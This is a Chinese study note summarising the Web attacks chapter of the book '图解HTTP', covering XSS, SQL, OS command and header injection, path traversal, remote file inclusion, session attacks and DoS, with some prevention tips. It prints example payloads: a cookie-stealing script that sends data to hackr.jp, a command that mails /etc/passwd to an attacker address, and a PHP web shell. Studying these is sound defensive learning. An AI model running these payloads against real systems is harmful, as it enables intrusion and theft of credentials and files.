《图解HTTP》——Web攻击技术
前提:
- HTTP不具备必要的安全功能
- 在客户端即可篡改请求
攻击的方式:
- 主动攻击:直接访问Web应用,将攻击代码传入(针对资源,需要资源访问权) 举例: OS攻击、SQL攻击
- 被动攻击:攻击者诱导用户触发已经设置好的陷阱,而陷阱会启动已经嵌入攻击代码的HTTP请求 举例:跨站脚本攻击、跨站点请求伪造
因输出值转义不完全引发的安全漏洞
1. 跨站脚本攻击(Cross-Site Scripting XXS)
在动态生成HTML处 比如将输入姓名处加上 <s></s>或者script标签
实例:如网站通过地址栏中URI的查询字段指定ID。即相当于在表单内自动填写字符串功能。
http://example.jp/login?ID=yama 此时相当于在询问用户的ID和PassWord
而攻击者可以将网站修改成:
http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f</script><span+s="
通过这种方式当用户在表单内输入ID和密码之后,会直接发送给攻击者的网站,导致个人信息泄露。
除此之外还可对用户的Cookie进行窃取攻击
<script src=http://hackr.jp/xxx.js></script>
其中 http://hackr.jp/xxx.js文件,由 JavaScript 编写
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">")
从而可以访问Web应用所处域名下的Cookie信息,然后这些信息会发送至攻击者的网站上。
同时通过script还可以实现对用户的代理操作,通过用户的权限对Web进行各种操作。
2. SQL注入攻击
是指针对Web应用使用的数据库,通过运行非法SQL而产生的攻击。
影响: a>.非法查看或篡改数据库内的数据
b>.规避认证
c>.执行和数据库服务器关联的程序等
首先打开浏览器输入 : http://example.con/search?q=上野宣
在其中执行SQL语句 如:
SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
就可以筛选出满足flag条件作者名为上野宣的书刊
如果我们将SQL语句书写如下:
SELECT * FROM bookTbl WHERE author = '上野宣' - - ' and flag = 1;
那么根据SQL语句中 ' - -' 的特性,在此之后皆为注释,那么 flag 的筛选条件就会被忽略掉,进而使得筛选条件变为作者名为上野宣的书刊。使得原本无法显示的内容可以被显示出来。
可以看出SQL注入攻击主要是针对SQL的语法来进行的。
预防方法:
1.参数化SQL
2.字符串过滤
3.使用正则表达式过滤传入的参数
4.在数据库中限制用户的权限,drop/truncate/create适用的grant
5.前端js预防SQL注入
3. OS命令注入攻击
类似于SQL注入,同样是针对代码进行攻击,如:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr);
print MAIL "From: info@example.com\n";
其中open函数会调用sendmail命令发送邮件,指定的发送地址为 $adr的值。
通过键入非法的地址值如下:
; cat /etc/passwd | mail hack@example.jp
程序命令就会更变为 :
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
因为分号(; )命令就变成了多个执行命令。 因此会执行 cat /etc/passwd | mail hack@example.jp 进而将含有Linux账户信息的 etc/passwd 的文件以邮件形式发送到攻击者邮箱。
预防方式:
1.选择不调用OS的方法实现(不调用shell功能)
2.不将外界输入的字符串传递给命令行参数
3.使用安全的函数对传递给OS的命令进行转义
4. HTTP首部注入攻击
HTTP Header Injection 只通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击方式。属于被动攻击方式。
影响:
设置任何Cookie信息
重定向至任意URL
显示任意主体(HTTP响应截断攻击)
原HTTP首部如下:
Location:http://example.com/?cat=101
重定向至选定类别所在页面的功能,通过HTTP首部注入如下代码:
cat=101%0D%0ASet-Cookie:+SID=123456789
其中%0D%0A是HTTP报文中的换行符。后面的代码则可以将攻击者网站的会话ID设置为SID=123456789的Set-Cookie首部字段。
实际代码为:
Location : http://example.com/?cat=101(%0D%0A:换行符)
Set-Cookie : SID=123456789
因此攻击者可以修改任意Cookie信息,伪装成用户对网站进行攻击,也可以通过换行符插入任意首部字段。
HTTP响应截断攻击
通过两个换行符 %0D%0A%0D%0A并排插入字符串发送。利用两个连续换行来作出HTTP首部与主体分割所需的空行。进而伪造主体,达到攻击目的。例如给用于提供一个伪造的Web页面。
5. 邮件首部注入攻击
通过Web应用中的邮件发送功能,在邮件首部To或Subject内任意添加非法内容发起的攻击。
如:bob@hackr.jp%0D%0ABcc: user@example.com 对Bcc邮件地址进行追加发送。
又如:bob@hackr.jp%0D%0A%0D%0ATest Message 进而可以篡改邮件文本内容并发送。
6. 目录遍历攻击
目录遍历(Directory Traversal)攻击通过非法截断目录路径达到对本无意公开的文件目录进行访问的攻击手段。也成为路径遍历攻击(Path Traversal)攻击。
例如通过读取文件功能查询,来对非公开文件进行查询。
如: http://example.com/read.php?log=0401.log
而攻击者设置如下字段后发出请求:
http://example.com/read.php?log=../../etc/passwd
查询字段会帮助攻击者从/log/目录开始定位相对路径。如果read.php脚本接受对指定目录的访问请求处理,那么原本不公开的文件就能可能被访问到。
7. 远程文件包含漏洞
这主要是PHP存在的安全漏洞,当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可以运行任意脚本的攻击手段。
如:http://example.com/foo.php?mod=news.php
对应脚本的代码:$modname = $_GET['mod'];
include($modname);
攻击者事先在外部服务器上准备以下代码 http://hackr.jp/cmd.php的源代码
<? system($_GET['cmd']) ?>
同时指定如下URL发送请求
http;//example.com/foo.ph?mod=http://hackr.jp/cmd.php&cmd=ls
就有可能通过Web服务器的include 操作引入外部服务器的URL http://hackr.jp/cmd.php 进而能通过System指令在Web服务器上执行查询字段指定的OS命令。
因设置或设计的缺陷引发的安全漏洞
1. 强制浏览
直接通过URL访问原本需要经过认证才能在Web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)
2. 不正确的错误消息处理
由于提示信息的差异,倒是攻击者可以通过不同的错误提示来获取一些信息,如该邮箱是否被注册等等,
系统抛出的错误主要集中在以下几个方面。
1.PHP或ASP等脚本错误
2.数据库或中间件错误
3.Web服务器的错误
避免方式:对详细的错误消息进行抑制,或者使用自定义错误消息,避免某些信息给攻击者带来启发。
3. 开放重定向
如果网站开放重定向功能,就有可能被攻击者选中并用来作为钓鱼攻击的跳板。
如原URL为:http://example.com/?redirect=http://www.tricorder.jp
而攻击者将重定向参数更改:http://example.com/?redirect=http://hackr.jp
从而使用户在不知情的情况下被诱导至攻击者网站
因会话管理疏忽引发的安全漏洞
1. 会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击的目的。
获取ID方式:
通过非正规的生成方法推测会话ID
通过窃听或XSS攻击盗取会话ID
通过会话固定攻击(Session Fixation)强行获取会话ID
2. 会话固定攻击
一般和会话劫持配套使用
3. 跨站点请求伪造
跨站点请求伪造(Cross-Site Request Forgeries, CSRF)是通过陷阱强制对用户的非预期个人信息和设定信息等某些状态更新,属于被动攻击。
其他安全漏洞
1. 密码破解
密码破解攻击(Password Cracking)即算出密码,突破认证。
手段:
1. 通过网络的密码试错
穷举法或者字典攻击
2.对已加密的密码进行破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)
通过穷举法·字典攻击进行类推
彩虹表
拿到密钥
加密算法的漏洞
2. 点击劫持
通过网站覆盖透明按钮
3. DoS攻击
DoS攻击(Denial of Service attack)是一种让运行中的服务器呈现停止状态的攻击。对象不仅限于Web网络,还包括网络设备及服务器等。
主要有以下两种Dos攻击方式
几种利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
通过攻击安全漏洞使服务停止。
多台计算机发起的DoS攻击称为DDoS攻击(Distributed Denial of Service attack)。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
4. 后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可以不按正常步骤使用受限功能。利用后门程序就能使用原本受限制的功能。
通常的后门程序分为以下三种类型
开发阶段作为Debug调用的后门程序
开发者为了自身利益植入的后门程序
攻击者通过某种方法设置的后门程序
可以通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用的区别不大,通常难以被发现。